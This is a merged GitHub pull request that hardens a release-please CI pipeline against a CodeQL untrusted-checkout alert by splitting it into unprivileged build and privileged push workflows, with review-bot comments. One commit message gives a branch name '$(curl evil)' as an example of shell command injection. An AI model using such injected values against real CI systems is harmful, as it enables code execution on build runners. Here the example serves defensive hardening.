Skip to content

fix(ci): split release-please lockfile pipeline (codeql untrusted-checkout/critical)#21

Merged
InstaZDLL merged 2 commits into
mainfrom
fix/codeql-untrusted-checkout-critical
May 15, 2026
Merged

fix(ci): split release-please lockfile pipeline (codeql untrusted-checkout/critical)#21
InstaZDLL merged 2 commits into
mainfrom
fix/codeql-untrusted-checkout-critical

Conversation

@InstaZDLL
Copy link
Copy Markdown
Owner

@InstaZDLL InstaZDLL commented May 15, 2026

Summary

Closes CodeQL alert #18 (actions/untrusted-checkout/criticalCheckout of untrusted code in a privileged context) on .github/workflows/release-please-bump-lockfile.yml.

The previous design ran inside a workflow_run privileged context (contents: write) and explicitly checked out a release-please PR branch, then ran cargo check on it. CodeQL's critical rule fires because any privileged workflow_run job must not execute code from a non-default ref — author + branch-prefix gates are soft filters, not security boundaries.

The fix: canonical two-workflow split

  • release-please-lockfile-build.yml (NEW, pull_request, contents: read) — checks out the PR branch in unprivileged context, runs cargo check, uploads the refreshed Cargo.lock + PR metadata (pr_number / pr_branch / pr_head_sha) as a 1-day artifact. Any code execution that happens here (build scripts, proc macros) cannot reach secrets or push.

  • release-please-bump-lockfile.yml (REWRITTEN, workflow_run, contents: write) — no actions/checkout of the PR branch, no cargo invocation. Downloads the artifact, validates the Cargo.lock (header pattern + size envelope), re-fetches the PR via API to confirm it's still open + authored by github-actions[bot] + same head SHA the artifact was built against, then pushes via the Git Data API (createBlobcreateTreecreateCommitupdateRef).

Defense in depth

  • Author + branch-prefix gate kept in the build workflow as a cost saver (don't run cargo check on every PR).
  • Artifact validation in the privileged workflow treats the artifact as untrusted input — strict regex on branch name + head SHA + header check on Cargo.lock.
  • Head-SHA freshness check: if the PR branch moved between the build artifact upload and this workflow firing, we skip the push and let the next build-workflow run carry a fresh lock. Prevents racing against a maintainer's manual commit.

Test plan

  • CodeQL re-scans the new files → alert feat(player-bar): redesign right cluster (Spotify-style) + overflow defaults #18 closes
  • Next release-please PR opens with the new pipeline:
    • Build workflow runs cargo check, uploads artifact
    • Push workflow downloads + validates + force-updates the lock via API
    • Final PR contains chore: bump Cargo.lock commit alongside the version bump
  • Manually push to a release-please branch between artifact upload + push workflow firing → push workflow skips with "PR head moved" log

Summary by CodeRabbit

  • Chores
    • Introduced a two-stage release workflow that separates lockfile generation from the privileged push step.
    • Added safety checks and validations (artifact integrity, PR state, branch/commit consistency) to avoid stale or conflicting lockfile updates.
    • Reduced unnecessary privileged operations by only fast-forwarding and committing the lockfile when metadata and sanity checks pass.

Review Change Stack

…ckout/critical)

The previous one-workflow design checked out a release-please PR
branch inside a workflow_run context with contents: write and ran
cargo check on it. CodeQL flags that as critical (alert #18,
actions/untrusted-checkout/critical) because a privileged
workflow_run job must never execute code from a non-default ref —
the gh pr list author + branch-prefix gate is a soft filter, not
a security boundary, since CodeQL treats any non-default ref as
untrusted-by-default.

Split into the canonical two-workflow pattern:

- release-please-lockfile-build.yml (NEW, pull_request, contents:
  read): checks out the PR branch, runs cargo check, uploads the
  refreshed Cargo.lock + PR metadata as a 1-day artifact. Runs
  unprivileged so executing release-please's Cargo.toml /
  Cargo.lock through cargo can't reach secrets or push.

- release-please-bump-lockfile.yml (REWRITTEN, workflow_run,
  contents: write): no actions/checkout of the PR branch, no
  cargo invocation. Downloads the artifact, validates the
  Cargo.lock header + size envelope, re-fetches the PR via the
  API to confirm it's still open, authored by
  github-actions[bot], on the same head SHA the artifact was
  built against, then pushes the lockfile via the Git Data API
  (createBlob -> createTree -> createCommit -> updateRef).

Head-SHA check ensures we never push a Cargo.lock generated
against a stale Cargo.toml — if the bot pushed a follow-up while
the build was running, we skip and let the next build-workflow
artifact carry the fresh lock.
@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 15, 2026

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 1f174ad8-def6-435b-bafc-586090b6f281

📥 Commits

Reviewing files that changed from the base of the PR and between 49645b0 and ac13cae.

📒 Files selected for processing (1)
  • .github/workflows/release-please-lockfile-build.yml

📝 Walkthrough

Walkthrough

This PR splits Cargo.lock refresh into two workflows: an unprivileged build that regenerates src-tauri/Cargo.lock and uploads it with PR metadata as an artifact, and a privileged workflow that downloads and validates that artifact and fast-forwards the PR branch via the Git Data API if an update is needed.

Changes

Cargo.lock Refresh Pipeline for release-please PRs

Layer / File(s) Summary
Unprivileged Cargo.lock build phase
.github/workflows/release-please-lockfile-build.yml
New workflow triggers on pull_request for main (opened/synchronize/reopened) for release-please--* branches authored by github-actions[bot]. It checks out the PR head SHA, installs the Rust toolchain and caches, installs system deps, runs cargo check --manifest-path src-tauri/Cargo.toml --all-targets to refresh src-tauri/Cargo.lock, writes pr_number, pr_branch, pr_head_sha into artifact/, and uploads release-please-lockfile (1-day retention).
Privileged Cargo.lock validation and push phase
.github/workflows/release-please-bump-lockfile.yml
Replaced previous build-and-push workflow with a workflow_run-triggered job that downloads the release-please-lockfile artifact, verifies required files and basic Cargo.lock sanity, defensively validates artifact metadata and PR state (open, authored by github-actions[bot], head ref/sha match), skips if stale or already synced, otherwise creates a blob/tree/commit updating src-tauri/Cargo.lock and fast-forwards the branch via the Git Data API.

Estimated Code Review Effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Poem

🐰 I hopped through workflows, tidy and keen,
One builds the lock, one keeps the branch clean.
Artifacts travel, checks guard the gate,
Two-step sync makes the pipeline great. ✨

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Description check ⚠️ Warning The PR description is comprehensive, addressing the summary section with context and rationale; however, the 'How I tested' and 'Checklist' sections required by the template are missing or incomplete. Complete the 'How I tested' section with concrete steps and ensure all checklist items are explicitly marked as reviewed or addressed.
✅ Passed checks (4 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly and accurately describes the main change: splitting a release-please lockfile pipeline to fix a CodeQL security alert.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/codeql-untrusted-checkout-critical

Warning

Billing warning: we have not been able to collect payment for this subscription for more than 72 hours. Please update the payment method or pay any pending invoices in Billing to avoid service interruption.


Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions github-actions Bot added scope: ci CI/CD, workflows type: fix Bug fix size: l 200-500 lines labels May 15, 2026
@InstaZDLL InstaZDLL self-assigned this May 15, 2026
@InstaZDLL InstaZDLL enabled auto-merge May 15, 2026 19:34
Comment thread .github/workflows/release-please-lockfile-build.yml Fixed
…ontrolled)

github-advanced-security flagged the artifact staging step: pull
request branch names go through ${{ github.event.pull_request.head.ref }}
interpolation BEFORE the shell sees the line, so a branch named
e.g. $(curl evil) would execute as code. Move every PR-metadata
value behind an env: block so they're shell variables, then
emit them with printf '%s' (no trailing newline, no surprise
interpretation).
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/release-please-lockfile-build.yml:
- Around line 84-89: The workflow currently interpolates the attacker-controlled
value github.event.pull_request.head.ref directly into the shell, creating a
command injection risk; change the step to pass that value as an environment
variable (e.g., PR_BRANCH set to ${{ github.event.pull_request.head.ref }}) and
then write it to artifact/pr_branch using a safe printer like printf '%s'
"$PR_BRANCH" > artifact/pr_branch; update the step to use the env-var name
(PR_BRANCH) instead of direct interpolation and likewise prefer printf '%s' for
any other interpolated pull_request fields you write (e.g., pr_head_sha) to
avoid interpretation of special characters.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 3258ac47-c077-4870-9716-d2aff09ba019

📥 Commits

Reviewing files that changed from the base of the PR and between 5d6c35b and 49645b0.

📒 Files selected for processing (2)
  • .github/workflows/release-please-bump-lockfile.yml
  • .github/workflows/release-please-lockfile-build.yml

Comment thread .github/workflows/release-please-lockfile-build.yml Outdated
@InstaZDLL InstaZDLL merged commit 9db6031 into main May 15, 2026
13 checks passed
@InstaZDLL InstaZDLL deleted the fix/codeql-untrusted-checkout-critical branch May 15, 2026 19:38
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

scope: ci CI/CD, workflows size: l 200-500 lines type: fix Bug fix

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants